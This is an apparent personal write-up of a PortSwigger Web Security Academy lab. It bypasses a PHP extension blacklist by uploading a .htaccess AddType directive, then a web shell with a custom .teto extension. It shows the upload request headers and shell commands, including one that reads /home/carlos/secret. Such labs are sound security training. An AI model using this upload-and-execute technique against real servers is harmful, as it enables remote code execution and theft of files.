| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | File Upload Vulnerabilities |
| Difficulty | Practitioner |
| Objective | Bypass a PHP extension blacklist by uploading a malicious .htaccess file that registers a custom extension as PHP-executable, then exfiltrate /home/carlos/secret |
Web Shell Upload via Extension Blacklist Bypass¶
Uploading tetoshell.php was rejected:
Sorry, php files are not allowed
Content-Type tricks and URL-encoded path traversal also failed — the block happens at the extension level before the file is stored.
Blacklists fail because you can't enumerate every dangerous file type in advance. .php is blocked, but .htaccess isn't — and .htaccess can redefine what's dangerous. A whitelist of known-safe image extensions would have prevented both uploads entirely.
Apache reads .htaccess files in a directory to override server-level configuration for that path, including which extensions get handed to the PHP interpreter. The AddType directive maps a MIME type to an extension:
AddType application/x-httpd-php .teto
This tells Apache to execute any .teto file in that directory as PHP. .teto has never appeared on any blacklist. The two-step: plant the interpreter directive first, then upload the payload under the novel extension. Neither file is dangerous in isolation — the combination creates the vulnerability.
I intercepted an upload request and replaced the file with the .htaccess:
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: application/x-php
AddType application/x-httpd-php .teto
The file avatars/.htaccess has been uploaded.
Then the web shell under the custom extension:
Content-Disposition: form-data; name="avatar"; filename="tetoshell.teto"
The file avatars/tetoshell.teto has been uploaded.
Requesting it:
/files/avatars/tetoshell.teto?cmd=id
PHP executed. Reading the secret:
/files/avatars/tetoshell.teto?cmd=cat /home/carlos/secret
Lab solved :P